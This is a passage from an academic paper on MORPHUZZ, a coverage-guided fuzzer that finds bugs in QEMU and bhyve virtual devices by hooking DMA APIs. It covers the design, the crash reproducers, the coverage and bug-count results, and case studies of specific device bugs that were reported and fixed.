As a result, prior approaches have, ignored DMA entirely
[18], relied on coarse heuristics of DMA accesses [43], or
required precise specifications for each device [42]. Recogniz-
ing the flexibility, and corresponding complexity introduced
by DMA, MORPHUZZ avoids guessing the proper format and
location of DMA buffers, altogether. Instead, MORPHUZZ
produces precise DMA-based interactions, by leveraging in-
trinsic behaviors of hypervisors, as follows.

2Furthermore, as we will see in Section 5.2.3 devices can transform
the values received over MMIO or PIO before accessing the actual guest-
physical memory (e.g., interpreting the value as a page-frame-index rather
than treating it as a physical address proper).
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When the vCPU provides a virtual device with a pointer to
a DMA buffer over MMIO, or PIO, the hypervisor traps into
the virtual-device code. As the implementation of the virtual
device executes in the context of the hypervisor (i.e., in host-
virtual memory), the device code cannot simply dereference a
pointer into guest-physical memory. Instead, the pointer must
first be “translated” into the hypervisor’s address space. To
provide this “translation” functionality to virtual-devices, hy-
pervisors expose a DMA-access API, which cross-references
the address of the DMA access against the hypervisor’s inter-
nal representation of the guest’s memory.

Hence, the DMA-access API provides a lightweight and
clear mechanism for fuzzing the data communicated over
DMA channels. MORPHUZZ’s interpreter implements two
opcodes to fuzz DMA access. However, reflecting the device-
initiated nature of DMA, these opcodes are simply used to
prime MORPHUZZ with fuzzer-provided data in anticipation
of future DMA accesses. These opcodes maintain a ring of
patterns in MORPHUZZ’s internal memory:

add_dma_pattern(offset, stride, pattern[]) Add a pat-
tern to MORPHUZZ’s DMA pattern-ring.

clear_dma_patterns() Clear the pattern-ring.

To put these patterns to use, MORPHUZZ hooks all calls
into the DMA-access API and populates the guest-memory
corresponding to DMA regions with a repeating pattern from
the pattern-ring, on-demand, for the device to read. Internally,
each time MORPHUZZ hooks a DMA access and fills the
corresponding memory with a pattern, it advances the pattern-
ring pointer, so that the next DMA access is filled with a
different DMA pattern (if one is available). Patterns can be
of arbitrary length to represent data of any complexity. How-
ever, MORPHUZZ’s add_dma_pattern operation also enables
even short patterns to encode interesting structures using the
“offset” and “stride” parameters. When these parameters are
specified, each time MORPHUZZ repeats the pattern, it incre-
ments the “offset-th” byte by “stride”. This allows even short
patterns to represent complex DMA data-structures, such as
pointer-rings with many unique addresses3.

Note that, as explained in Section 3.2, virtual-device imple-
mentations frequently impose stringent semantic constraints
on the contents of DMA buffers (e.g., buffers must contain
pointers to other valid buffers). As MORPHUZZ responds to
DMA accesses on-demand, such nested accesses are transpar-
ently handled by the exact same mechanism. This on-demand
operation is crucial and allows MORPHUZZ to reach the “deep”
and nested code paths in virtual device implementations. Sec-
tion 5 provides quantitative evidence for this claim.

Through its awareness of the fundamental Guest-Address
Map and DMA-access API, MORPHUZZ achieves a uniquely-
precise view of active PIO, MMIO and DMA regions.

3E.g. add_dma_pattern(1, 2, 10 01 00 00) expands out to
10010000 10030000 1005 ...

4.4 Fuzzing QEMU
We focused on implementing MORPHUZZ for QEMU be-
cause QEMU is a popular open-source hypervisor, com-
monly used for cloud-applications. Due to its large number of
virtual-devices, and their complexity, QEMU has been the pri-
mary benchmark used for evaluating prior works [18, 42, 43].
QEMU features a large selection of devices, ranging from
legacy PC components, to models of complex network and
storage controllers, and paravirtual VIRTIO interfaces.

MORPHUZZ’ design calls for tapping into the Guest-
Address Map and DMA-access API that are implemented
in hypervisors. Locating the implementation of these APIs
within QEMU is a simple task: QEMU provides developer-
documentation about the DMA-access API, and implements
an mtree command that prints information about all currently-
configured regions in the Guest-Address Map.

4.4.1 Initializing QEMU

QMORPHUZZ is implemented as a build of QEMU aug-
mented with additional code for interpreting fuzzer inputs,
and a thin layer of hooks tapping into QEMU’s Guest-
Address Map and DMA-access API. For QMORPHUZZ we
use libFuzzer as our fuzzing-backend. The interface between
QMORPHUZZ and libFuzzer consists of an init() and an
exec(input) function. This minimal init/exec interface
is also supported by other fuzzers, such as AFL[++], and
hongfuzz, making it straightforward to swap the fuzzing-
engine. init() is executed once, prior to fuzzing, and exec()
invokes the opcode interpreter used to translate individual
fuzzing inputs into sequences of I/O commands.

To initialize QEMU, QMORPHUZZ simply passes a user-
provided set of command-line arguments to QEMU’s main
function. This is necessary as the virtual hardware available
to VM’s in QEMU is configured through command-line op-
tions. For example, adding -nic tap,model=ne2k_pci to
the command-line arguments, configures the VM to have a
NE2000 network-interface card connected to the PCI bus, re-
lying on a TAP-based network-backend. As QEMU initializes
the VM, it registers I/O regions (such as the PCI controller
ports) using its Guest-Address Map. QMORPHUZZ hooks
registration and de-registration of I/O regions in the Guest-
Address Map and keeps a record of them in an I/O region
vector. QMORPHUZZ also configures QEMU with the qtest
CPU backend. Instead of booting binary CPU code, qtest ex-
poses a small text-based API that directly accesses memory
and PIO (see Section 2.3 for details). Once the VM is ini-
tialized and awaiting qtest commands, QMORPHUZZ passes
control to libFuzzer, which begins its fuzzing loop.

4.4.2 Executing Inputs

For each input, libFuzzer calls the exec(input) callback,
implemented by QMORPHUZZ. In its default configuration,
QMORPHUZZ forks the process, to ensure that each input exe-
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cution is independent of all other executions. In Section 4.4.4,
we describe alternatives to forking that we experimented with.

To produce complex I/O behavior, MORPHUZZ feeds each
input into its interpreter (described in § 4.1).

When MORPHUZZ’s interpreter parses a PIO/MMIO oper-
ation, it issues the corresponding qtest instruction. In the case
of the DMA-related instructions, there is no need to perform
any immediate I/O operation; instead, QMORPHUZZ simply
updates the internal ring of DMA-patterns.

As virtual-devices handle PIO/MMIO requests, they may
invoke the DMA-access API to copy data to and from the
VM’s main memory, over DMA. QMORPHUZZ hooks to
each of these API functions. When the virtual-device code in-
vokes the DMA API to read data from guest-physical memory,
QMORPHUZZ examines the location and size of the access,
and fills the corresponding guest-physical memory with a pat-
tern previously added to the DMA pattern-ring. Filling the
memory is as simple as invoking the qtest_memwrite API.

Once QMORPHUZZ finishes executing the commands spec-
ified by the fuzzer’s input, it destroys the process. The parent
process waits on the child to exit, and returns control to lib-
Fuzzer. libFuzzer examines the coverage data collected during
the child’s execution and determines whether the input trig-
gered new behaviors and should be added to the input corpus.
Finally, libFuzzer’s mutation engine generates a new input,
calls exec(), and hence continues the fuzzing cycle.

4.4.3 “Unbending” Inputs

Reproducing crashes with MORPHUZZ is trivially possible
by simply providing the same input to the opcode interpreter
that led to the crash in the first place. However, virtual-device
developers should not be forced to acquaint themselves with
the fuzzer just to be able to reproduce a bug. That is, a self-
contained and stand-alone representation of a crashing input
that is readily usable with a regular build of QEMU is strictly
preferable. Since qtest is widely used by QEMU developers,
MORPHUZZ “unbends” each crash into a standalone qtest
reproducer. MORPHUZZ replays the crashing input through
the opcode interpreter and logs the resulting linear sequence
of MMIO/PIO and DMA-related device I/O commands, in the
order they were issued. Since real VMs do not populate DMA
buffers on-demand, MORPHUZZ annotates all I/O commands
used to fulfill DMA accesses in the log, with a prefix. Then,
MORPHUZZ simply re-arranges the logged I/O commands
so that each command filling a DMA request precedes the
direct PIO/MMIO command that triggered it. This process is
illustrated at the bottom of Figure 2.

The result is a linear qtest API trace, which can be
piped into a standard QEMU process to reproduce the
crash. The qtest trace can be sent to virtual-device devel-
opers along with the command-line used to specify the
connected virtual-devices, as a simple, self-contained, and
straightforward way to reproduce crashes. Additionally, MOR-
PHUZZ’s automatically-generated reproducers have been used

as regression-tests, alongside manually-written test-cases.

We “unbend” all crashes, except double-fetches which are
difficult to consistently reproduce without instrumentation.
Due to their time-sensitivity, there is no straightforward way
to automatically and reliably reproduce double-fetches in
an unmodified hypervisor. However, the developer can still
reliably reproduce crashes due to double-fetches with a build
of MORPHUZZ and the crashing input.

4.4.4 Resetting State

Hypervisors are large, stateful, applications. For fuzzing such
applications, it is important to roll-back the state-changes
caused by a fuzz-input, prior to the next execution. Other-
wise, the same input can lead to different program-behaviors
(nondeterminism). MORPHUZZ is not tied to any particular
method for resetting state. In practice, QMORPHUZZ supports
resetting the hypervisor in between inputs by either rebooting
the VM, VM-Snapshotting, or using process-level forking.
While rebooting VMs and Snapshotting are often more per-
formant than forking a large process, they require a correct
implementation of those features to guarantee fuzzer stability.
While many vital devices in QEMU have precise rebooting
and snapshotting handlers, others have lacking implementa-
tions. Relying on incomplete snapshotting implementations
exposes the fuzzer to the state leakage between individual
inputs and, therefore, nondeterminism. As such, throughout
our evaluation, we use MORPHUZZ in a process-level forking
mode, to ensure consistent results. Note that MORPHUZZ’s
approach is compatible with emerging systems for full-system
snapshot-based fuzzing, such as Agamotto, and Nyx [42, 48].

4.4.5 Implementation Complexity

In total, QMORPHUZZ consists of 714 lines of C/C++ code.
Of these, 68 lines are changes to existing QEMU code. The
rest implement QMORPHUZZ’s init and exec functions.
QMORPHUZZ is already integrated into QEMU’s code-base
and available upstream where it continuously fuzzes QEMU’s
virtual devices on Google’s OSS-Fuzz.

4.5 Beyond QEMU

We described in Sections 4.2 and 4.3, that trap-and-emulate
hypervisors implement a DMA-access API and Guest-
Address Map. Interactions with guest memory are tightly cou-
pled to the particular VM’s configuration. As such, individual
virtual-devices are obligated to use centralized APIs for in-
teracting with the guest’s address-spaces. Since calls to these
APIs pervade virtual-devices, we were able to easily identify
them for popular hypervisors. Table 2 in the Appendix lists
the DMA-access APIs for well-known hypervisors. MOR-
PHUZZ’s hooks are non-invasive, and can be implemented
using an external debugger.
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4.5.1 Implementing MORPHUZZ for bhyve

Bhyve is a hypervisor shipped as part of FreeBSD. We ported
MORPHUZZ to bhyve. In total, it took a researcher with no
prior bhyve experience 4 hours to implement fuzzing with
MORPHUZZ. Our implementation reuses the core fuzzing
code from QMORPHUZZ. To tap into bhyve’s Guest-Address
Map and DMA-access API, we added a total of four lines of
C code. Bhyve does not provide a testing framework so, we
implemented an API mimicking QEMU’s qtest, in 90 lines
of C code. This API simply calls into the same functions that
bhyve traps into upon MMIO and PIO accesses. In total, our
implementation required 451 lines of code (including the 357
lines of fuzzing code copied directly from QMORPHUZZ).
As bhyve does not have an upstream qtest-like interface, we
unbend bhyve crashes into a standalone guest-kernel image
(called ReprOS) which simply invokes the CPU instructions
that correspond to the I/O operations that caused the crash.

5 Evaluation

We evaluate MORPHUZZ’s fuzzing capabilities to answer the
following research questions.

RQ1 Can MORPHUZZ discover and reproduce bugs in
virtual devices? (see § 5.2, § 5.2.1 and Table 1)

RQ2 Is MORPHUZZ’s implementation generic? Can MOR-
PHUZZ be used to find crashes in multiple hypervi-
sors, and architectures? (see § 5.2.2)

RQ3 How does MORPHUZZ’s performance compare to
the state-of-the-art hypervisor fuzzers? (see Table 1)

RQ4 How does QMORPHUZZ’s choice to isolate each
input (reset state) affect performance? (see § 5.4)

RQ5 Can MORPHUZZ stimulate complex DMA behav-
iors? (discussion in § 5.3 and case studies in § 5.2.3)

5.1 Experimental Setup

We performed our experiments in Debian 10 VMs on a univer-
sity cluster. The underlying hosts were a mix of small (2 Xeon
CPUs with 16 logical cores and 128 GB of RAM) and larger
(2 Xeon CPUs with 28 logical cores and 384 GB of RAM)
machines. We assigned two cores and 4gb of RAM to each
VM. Our experiments were conducted against QEMU version
5.0, and bhyve 12.1 – the same versions used by recent related
work. In addition to fuzzing all of the devices covered by prior
work, we fuzzed VMs configured with DMA-heavy devices,
such as USB controllers, and VIRTIO devices (almost twice
as many QEMU devices as prior works).

We dedicated each VM on the cluster to fuzzing a QE-
MU/bhyve guest configured with each virtual-device in our
evaluation set. Following standard practice, we ran the fuzzer
with AddressSanitizer enabled and disabled (one fuzzing pro-
cess each) [31]. ASAN instrumentation allows MORPHUZZ to
detect more memory-corruption bugs, but adds considerable
overhead (especially when forking).

5.2 Bug-finding

MORPHUZZ found all4 16 QEMU and 28 bhyve bugs reported
by Nyx. Furthermore, MORPHUZZ discovered 61 unique new
Bugs in QEMU and 5 in bhyve, for a total of 110 bugs. We
manually confirmed each new bug (Appendix C lists all 66
new bugs). The final column in Table 1 shows the devices for
which QEMU found bugs. Notably, MORPHUZZ found new
bugs for every single Block, Network, and USB controller
fuzzed – all devices that are particularity DMA-intensive. In
total, across the x86 QEMU and bhyve machines, MORPHUZZ
found 7 use-after-free, 7 buffer-overflow, 8 stack-overflow, 8
segfaults, 3 resource-exhaustion, 29 abort issues, and 4 mis-
cellaneous crashes.

5.2.1 Reproducing the Crashes

For each of these crashes, MORPHUZZ recorded the qtest
commands produced by MORPHUZZ and “unbent” the traces,
as explained in §. 4.4.3. The resulting order of commands in
the qtest recording ensures that DMA buffers are filled prior
to the command that triggers the DMA access.

We successfully reproduced the 61 QEMU bugs in an un-
modified build of QEMU 5.0 by simply replaying the qtest
recordings. For the 5 bhyve bugs found by MORPHUZZ, we
converted each qtest recording into a separate build of Re-
prOS, which successfully reproduced all the bhyve bugs. Note
that though the number of bugs found for bhyve is signifi-
cantly lower than those found for QEMU, this is likely due
to the fact that bhyve’s codebase is less than 2% the size of
QEMU. Including the bugs already reported by Nyx, MOR-
PHUZZ found 33 bugs in bhyve. Furthermore Nyx relied of
descriptions to fuzz the VIRTIO and USB devices in bhyve,
whereas QMORPHUZZ had no such aids.

5.2.2 Strength of MORPHUZZ’s generic design

As stated in Section 4, the core insights of bending the input
space and fulfilling DMA requests on-demand are indepen-
dent of any given hypervisor. Previously, we discussed our
implementation and evaluation of MORPHUZZ for bhyve. To
further illustrate the generic applicability of MORPHUZZ we
performed cross-pollination experiments and assessed MOR-
PHUZZ’s applicability to architectures other than x86/x86-64.

Bugs in ARM Devices Without changing a single line of
code, QMORPHUZZ can fuzz devices only available to VMs
targeting a CPU architecture other than x86/x86-64. Specif-
ically, MORPHUZZ found 5 bugs in ARM-specific devices.
These bugs include a heap-use-after-free(write) on the ARM
Global-Interrupt-Controller, included in all ARM QEMU
VMs targeting the cloud. This bug was introduced over 13
years ago. Note that prior works that rely on custom-built
operating systems to perform fuzzing (e.g., Hyper-Cube and

4Though prior work did not release reproducers for the security bugs, we
manually confirmed that MORPHUZZ found bugs matching the Nyx paper’s
bug descriptions (indicating the type of bug, and location in the source code)
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Nyx) would require a re-implementation of the kernel before
they can fuzz a different CPU architecture. Since ARM was
outside of the scope of all prior works, to allow for a head-to-
head comparison, we do not count the 5 ARM-specific QEMU
bugs, when tallying the 110 bugs found by MORPHUZZ.

In summary, MORPHUZZ is highly successful at finding
and reproducing bugs in virtual-devices (RQ1). Furthermore,
MORPHUZZ’s generic approach transparently applies across
VM/CPU architectures and hypervisors (RQ2).

5.2.3 Case-Studies

In addition to the example in Section 3.2, here we showcase
two bugs found by QMORPHUZZ. These bugs are representa-
tive of MORPHUZZ’s focus on generically fuzzing the entire
virtual-device PIO/MMIO and DMA input-space, while pro-
ducing inputs that satisfy the complex semantic dependencies
required by individual devices.

5.2.3.1 Double-fetch in PCNET The PCNET network
adapter is emulated by hypervisors such as QEMU and Virtu-
alBox, with drivers available for all major operating systems.
The device accesses two ring-buffers over DMA (one each
for sending/receiving packets). Each ring-buffer consists of
a set of descriptors that contain pointers to the actual data
along with a length field. Prior to sending a packet from the
ring-buffer, PCNET checks that the descriptor’s length fits
alignment requirements. Instead of reading the entire descrip-
tor, before checking the length, the virtual PCNET performs
two DMA reads to access the same length data, creating a
double-fetch issue. The fuzzer found inputs that leverage this
issue to trigger a heap-overflow. Finding and reproducing this
timing-sensitive crash would be nearly impossible, without
MORPHUZZ’s instrumentation of the DMA API.

5.2.3.2 Reentrancy Problem in virtio-gpu The virtio-
gpu is a paravirtual adapter designed to provide graphics
support with optional hardware-acceleration. The virtio-gpu
device relies on a set of “Virtqueues”, accessed over DMA, to
communicate with the guest. The virtio-gpu is designed with
performance and reentrancy in mind, so it splits I/O jobs into
lightweight “top-halves”, and deferred “bottom-halves” that
handle the bulk of the I/O processing. In theory, this approach
can combat reentrancy issues, since the nested call into the
device simply schedules a deferred bottom-half. In practice,
it is difficult to consider all possible reentrancy cases. The
fuzzer found inputs that provide a page-index to the virtio-
gpu device, via MMIO. The device uses this index to locate
a virtqueue in the guest’s memory via DMA. The fuzzer
proceeds to notify the virtio-gpu of a new request waiting
on the command virtqueue. The virtio-gpu schedules and
executes the request in a deferred, asynchronous manner. The
input provides an address for outputting the response for the
I/O, but instead of specifying an address in RAM, the fuzzer
provides a generic VIRTIO MMIO register which resets the
device. Since the original I/O request still refers to some

global virtio-gpu data, this reset triggers a use-after-free. The
device failed to consider the VIRTIO MMIO reset register
when accounting for reentrancy. Even though Nyx relied on
a manually-written VIRTIO spec, it did not find this crash.
In fact, the Nyx paper reported no VIRTIO bugs found in
QEMU.

When compared with prior works, MORPHUZZ’ ability to
reshape the input-space was essential for identifying the com-
plex issues presented here (RQ5). Furthermore, as demon-
strated by the re-entrancy issues found in virtio-gpu and xHCI
(described in Section 3.2), we observe another weakness of
grammar-based approaches. While a detailed grammar has
potential to reach some deep code-paths, it can overlook dis-
crepancies between the specification (encoded in the gram-
mar) and the actual virtual-device implementation. While
Nyx’ specifications have not been released, MORPHUZZ likely
found a superset of the bugs reported by Nyx precisely be-
cause its inputs can encode complex, unspecified datastruc-
tures that would not be represented in a grammar.

5.3 Coverage
To gauge MORPHUZZ’s capability to exercise device-code,
we collected branch-coverage and compared MORPHUZZ’s
performance with prior-work. Table 1 presents these com-
parative results. Since, at the time of writing, neither VDF,
Hyper-Cube, nor Nyx have released fuzzer source-code, we
had to rely on the numbers published in each paper for this
comparison. Note that, VDF [18] and Hyper-Cube [43] pre-
sented coverage data for QEMU 2.2, a version released in
2014. Since then, QEMU’s C code has more than doubled in
size. The Nyx paper, by virtue of being by the same authors,
provides Hyper-Cube coverage, updated for a 24-hour experi-
ment over QEMU 5.0, so we present those numbers in Table 1,
rather than those found in the original paper. Unfortunately,
there is no up-to-date coverage data for VDF, so we provide
the original numbers collected for QEMU 2.2.

To determine whether the coverage increase demonstrated
by MORPHUZZ actually arises from it’s approach to DMA,
rather than some unrelated discrepancy, we performed iden-
tical experiments for two modified versions of MORPHUZZ.
Essentially, as the source-code for prior systems is not public,
we simulated their approaches to DMA within MORPHUZZ.
We present the coverage results in Table 1. For the No-DMA
experiment, we ran QMORPHUZZ with all of the DMA hooks
disabled, to simulate a fuzzer that only interacts with devices
over Port-IO and MMIO (such as VDF). The Scratch-Buffer
experiment is identical to No-DMA, however, we filled the
first 3 GB of the guest’s RAM with bytes randomly generated
from a seed, and added fuzzer opcodes that write pointers
within this random buffer to the virtual device’s PIO and
MMIO ranges. As a result, the fuzzer has a high chance of
providing devices with a pointer to randomized data that can
be accessed over DMA. However, the actual randomized data
is not controlled by the fuzzer’s mutations; the fuzzer can
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VDF‡ Hyper-Cube* Nyx‡ No-DMA Scratch-Buffer QMORPHUZZ
Device 25-65 Days 24 Hours 24 Hours 24 Hours 24 Hours 24 Hours Bug

Source File Cov. Cov. Cov. Cov. Cov. Cov.
Audio

ac97 53.0% 100% 98.92% 96.38% 96.38% (0.00) 96.38% (0.00)
cs4231a 56.0% 74.76% 74.76% 92.20% 92.20% (0.00) 92.20% (0.00)
es1370 72.7% 91.38% 91.38% 93.66% 93.66% (0.00) 93.66% (0.00) 4

intel-hda 58.6% 79.17% 78.33% 78.18% 79.10% (+0.92) 81.18% (+2.08) 4
sb16 81.0% 83.80% 81.34% 86.88% 86.88% (0.00) 86.68% (-0.20) 4

IBM PC
fdc 70.5% 84.51% 83.10% 85.43% 86.12% (+0.69) 88.19% (+2.07) 4

parallel 42.9% 38.61% 38.61% 38.61% 38.61% (0.00) 38.61% (0.00)
serial 44.6% 73.76% 73.76% 73.76% 73.76% (0.00) 73.76% (0.00)

Block
ide/core 27.5% 74.87% 74.69% 72.32% 73.55% (+1.23) 78.63% (+5.08) 4

ahci 55.62% 57.36% (+1.74) 80.86% (+23.50) 4
sdhci 90.5% 81.15% 88.93% 79.65% 80.55% (+0.90) 84.8% (+4.25) 4

virtio-blk 52.12% 54.12% (+2.00) 68.51% (+14.39) 4
virtio-scsi 52.32% 55.80% (+3.48) 66.78% (+10.98) 4

megasas 26.41% 34.52% (+8.11) 88.41% (+53.89) 4
sd 64.47% 66.43% (+1.96) 70.11% (+3.68) 4

scsi-disk 62.36% 65.44% (+3.08) 74.09% (+8.65) 4

Network
eepro100 75.4% 83.82% 83.82% 87.13% 87.13% (0.00) 89.26% (+2.13) 4

e1000 81.6% 66.08% 54.55% 65.77% 66.14% (+0.37) 89.23% (+23.09) 4
e1000e_core 75.24% 75.84% (+0.60) 90.54% (+14.70) 4

ne2000 71.7% 71.89% 71.89% 82.95% 83.47% (+0.52) 98.71% (+15.24) 4
pcnet 36.1% 78.71% 89.49% 71.38% 72.72% (+1.34) 96.35% (+23.63) 4

rtl8139 63.0% 74.68% 79.28% 81.78% 84.92% (+3.14) 94.01% (+9.09) 4
vmxnet3 45.37% 47.63% (+2.26) 63.89% (+16.26) 4
virtio-net 50.67% 51.58% (+0.91) 60.23% (+8.65) 4

Graphics
virtio-gpu 37.64% 39.11% (+1.47) 70.40% (+31.29) 4
cirrus_vga 90.55% 90.56% (+0.01) 90.55% (-0.01) 4

USB
hcd-ehci 49.28% 58.09% (+8.81) 78.94% (+20.85) 4

hcd-xhci 64.40% 87.7%† 60.72% 62.10% (+1.38) 90.52% (+28.42) 4

ARM
arm_gic 67.94% 67.94% (0.00) 67.94% (0.00) 4

smc91c111 92.14% 92.14% (0.00) 92.14% (0.00) 4
xgmac 56.00% 64.50% (+8.50) 94.40% (+29.90)
bhyve

pci_xhci 48.18% 50.35% (+2.17) 71.32% (+20.97) 4
virtio_block 54.60% 62.31% (+7.71) 74.36% (+12.05) 4

Average (Nyx devices)§ 61.67% 76.35% 78.16% 77.93% 78.58% 85.76%
Average (All devices) 67.51% 69.42% 81.08%

Table 1: QMORPHUZZ Coverage results side-by-side with results reported
by prior work. Empty cells indicate that prior work did not include the corre-
sponding device in its evaluation. In parentheses, we indicate the increase in
coverage over the previous column. The final column indicates whether we
found bugs, for each device.
*Numbers for Hyper-Cube are taken from the Nyx paper, since the original
paper only presents data for 10-minute experiments, while Nyx provides data
for 24-hour periods, which matches our experiments.
‡Source is not available. The numbers are copied from the respective papers.
†Nyx relied on a manually-written specification to achieve this coverage
§For this row, we provide the average over 15 VDF devices. The rest of the
columns represent averages over the 16 devices evaluated in Nyx [42].

only point the virtual-devices with different offsets within the
randomized buffer. This functions similarily to the approach
described in Hyper-Cube and Nyx (without virtual-device
descriptions). Note that though these experiment employ the
strategies for fuzzing DMA described in prior works, the ac-
tual implementation details (such choice of fuzzing engine,
use of a guest OS, PIO/MMIO range enumeration) differ.

QMORPHUZZ achieves equal or higher coverage for most
(13/16) of the devices tested in prior work. Notably, MOR-
PHUZZ, achieved higher coverage over the DMA-intensive
xHCI controller than Nyx, despite the manually-written spec
necessary for Nyx. Additionally, for 24/33 configurations,
QMORPHUZZ outperformed the Scratch-Buffer and No-DMA
configurations which mimic the DMA approaches of prior
works. Manually examining the code of the remaining 9 de-
vices, we confirmed that none of them are controlled by DMA
data. As the configurations are identical to QMORPHUZZ

except for the DMA strategy, it is clear that MORPHUZZ’s
increased coverage and bug-finding capability is primarily
due its treatment of DMA as a first-class I/O transport.

MORPHUZZ performed especially well for devices with
complex DMA-interactions, such as block and network-
devices. Prior work achieved matching or higher coverage
than MORPHUZZ for four legacy devices and devices with low
DMA complexity. Interestingly, though MORPHUZZ achieves
less coverage over the SDHCI device, we found long-standing
SDHCI issues, that were not reported by prior works.

We manually sampled the code that MORPHUZZ did not
cover. We found that coverage is limited for devices that
contain code which is executed only when certain command-
line options are configured. For example, the virtio-net device
provides 69 configurable options on the command line; a large
part of the code in the virtio-net.c file is only accessible, when
the corresponding set of options is configured. Additionally
we found that many virtual devices dedicate a sizable amount
of code for hot-plugging and live-migration support, which
cannot be reached by interacting with virtual-devices from
a VM. Instead these functions are only reachable from the
hypervisor, and hence are out of scope for our threat model.

In summary, MORPHUZZ found a superset of the bugs
reported by prior works that target virtual device implementa-
tions. Importantly, MORPHUZZ achieved significantly higher
coverage for complex devices that required the fuzzer to per-
form PCI configuration, PIO, MMIO and multiple layers of
DMA communication to reproduce a single crash. MOR-
PHUZZ’s ability to effectively fuzz devices across all of these
modes of I/O, without seeds or specifications, is unparalleled
by prior approaches (RQ3).

5.4 Throughput
We measured MORPHUZZ’s performance in terms of qtest
instructions/second. QMORPHUZZ’s qtest instructions are
guaranteed to interact with address ranges associated with
virtual devices (through PIO and MMIO) or DMA buffers
read by these devices. We ran the fuzzer for 10 minutes on
a single core and calculated the number of qtest instructions
executed per second in three configurations. We found that
in the standard configuration, QMORPHUZZ executes 4,170
qtest instructions per second. Additionally, we experimented
with other state-resetting mechanisms, and found that though
they improve throughput, though, usually, at the cost of sta-
bility(RQ4). We provide further details in Appendix B.

MORPHUZZ’s reports have already led to 22 issues fixed
in QEMU (9 of these have been assigned CVEs). In fact,
MORPHUZZ had the second-most report credits in QEMU’s
5.2 release (the first spot is held by an automated system
that reports errors encountered during compilation and unit-
testing). MORPHUZZ has, since, been deployed on OSS-Fuzz,
where it has found and reported additional bugs. In total,
QMORPHUZZ has found 81 QEMU bugs on OSS-Fuzz, that
are in various stages of triage. The QEMU repository docu-
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ments the trivial steps for configuring QMORPHUZZ to fuzz
additional virtual-devices, on OSS-Fuzz.

6 Discussion
Despite QMORPHUZZ’s positive results, we briefly discuss
limitations and avenues of further improvement.
Hypervisor Configurations. MORPHUZZ fuzzes a given
“hardware”-configuration of a VM. Our current implemen-
tation aggregates a set of virtual-device configurations by ex-
ecuting QEMU’s test suite. However, these tests do not elicit
the complete spectrum of viable QEMU configurations (such
as the 78 virtio-net options). We found that certain devices
were not configured by any of the test cases, and other devices
had certain features disabled. A dedicated analysis (e.g., over
QEMU’s command line parser) could enrich the available set
of configurations and directly benefit QMORPHUZZ.
Independent Virtual-Devices. With KVM, users can com-
plement QEMU’s virtual-devices, with kernel-modules. For
example, vhost-net is a host-kernel-driver that accelerates the
virtio-net device by avoiding expensive context-switches to
user-space QEMU that occur each time the guest accesses a
virtual-device. In the future, for security purposes, hypervisors
may run virtual-devices in isolated processes. MORPHUZZ
relies on libFuzzer, which is designed to collect coverage of a
single user-space process. As these approaches gain traction,
they will open new opportunities for virtual-device fuzzers.
Reproducing Double-Fetches As we mentioned in Sec-
tion 4.4.3, MORPHUZZ does not “unbend” double-fetch bugs
into standalone reproducers. That is, though double-fetches
can be consistently reproduced in an instrumented version
of the hypervisor, we have no reliable way to automatically
re-create them in an unmodified build. The underlying reason
for this is that with MORPHUZZ’s hooks, DMA becomes a
synchronous operation from the fuzzer’s point of view - the
fuzzer does not have to race against the device to overwrite
guest memory since the DMA access is effectively paused
until the fuzzer’s hooking code returns. Once the fuzzer and
the hooks are removed, we are faced with the DMA’s natural
asynchronicity. In the future, it may be possible to use a brute-
force approach, or instrumentation such as ThreadSanitizer
to consistently reproduce double-fetches in hypervisors.

7 Related Work
Since its appearance in the ’80s, fuzzing has gained
widespread attention in the academic community. A major
catalyst reviving interest, was the release of the American
Fuzzy Lop (AFL) [57] fuzzer, which popularized, coverage-
guided, fuzzing for a wide range of software. Researchers
have focused on improving fuzzing performance, with ad-
vancements in input scheduling [24, 41, 52], mutation algo-
rithms [4,30,40], and input feedback [1,16,59]. Other systems
focus on applying concolic execution [25,26,56] to overcome
roadblocks, such as comparisons against “magic constants”,
and checksums [35]. Fuzzers such as AFL with laf-intel [27]

and libFuzzer [46] have applied source-code instrumentation
to identify comparisons against magic bytes and produce in-
puts that can pass them. Other works have adapted fuzzers to
complex targets such as code-interpreters [17,21,50,55], com-
pilers [5, 28, 29], and network-protocols [2, 12, 15]. Operating
system kernels have received widespread attention within the
academic community, with systems purpose-built for kernel-
drivers [6], kernel race-conditions [23], file-systems [54], and
the system-call interface [13, 19, 44]. Other works, such as
Periscope [47] examine MMIO and DMA communication
between a kernel and peripherals to identify vulnerabilities in
a kernel exposed to a compromised device. Periscope, oper-
ates from a different viewpoint that MORPHUZZ, by reacting
to DMA activity initiated by guest drivers running within
Linux. Unlike Periscope, MORPHUZZ constructs entire de-
vice “converstations”, starting with PCI configuration and
continuing with DMA buffer-setup, and PIO/MMIO activity.
This allows MORPHUZZ to exercise code paths, that well-
behaved guest-drivers would never touch. Similarly, VIA [20]
fuzzes OS-drivers to identify bugs that could compromise of
security-guarantees in a confidential-computing environment,
where virtual-device code is not trusted. Works have also
applied static [51, 53] and dynamic [45] techniques to detect
and analyze double-fetch issues in software.

Most related to our work, others have identified that vir-
tual devices pose many of the same challenges for fuzzers
as kernel system-calls and drivers. IOFuzz [32] finds bugs
in virtual devices, by writing random values to port-mapped
IO. VDF [18] collects MMIO and PIO traces, and uses these
traces as seeds for coverage-guided fuzzing. VDF does not
fuzz DMA traffic or fully reset state between input execu-
tions. Hyper-Cube [43] and Nyx [42] are state of the art
virtual device fuzzers, based on a custom-built guest operat-
ing system. Hyper-Cube uses PCI enumeration to identify
IO ranges mapped to virtual devices and sets up a single
scratch buffer which it uses to trigger DMA activity, by writ-
ing addresses within the scratch buffer to MMIO and PIO
ranges. These properties make Hyper-Cube portable to var-
ious hypervisors supporting x86, but limit Hyper-Cube on
virtual-devices which rely on magic constants, and, impor-
tantly, DMA semantics. Nyx augments Hyper-Cube, by using
a full-system snapshotting and hardware-assisted coverage
framework. To fuzz complex DMA devices, Nyx requires a
manually-written specification. Unlike Nyx, MORPHUZZ re-
shapes the virtual-device input-space in response to feedback
collected from fundamental hypervisor APIs. This allows
MORPHUZZ to achieve high coverage over complex devices
without specifications or seed-inputs and intrinsically enables
MORPHUZZ to generate device interactions that lie outside
the manually-crafted specification. Concurrently and indepen-
dently, V-Shuttle [34] developed a method to fuzz the DMA
input-space in a targetted fashion, by replacing DMA access
calls with reads from a file generated by AFL. Notably, V-
Shuttle performs a static-analysis to annotate DMA accesses
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and treats and fuzzes each one using a separate fuzzer mu-
tator. Unlike V-Shuttle, MORPHUZZ does not require any
preliminarty analysis or manual work to convert crashes into
reproducers.

In an industrial setting, there has been work to fuzz virtual
devices [49] using a minimal OS connected to AFL. MOR-
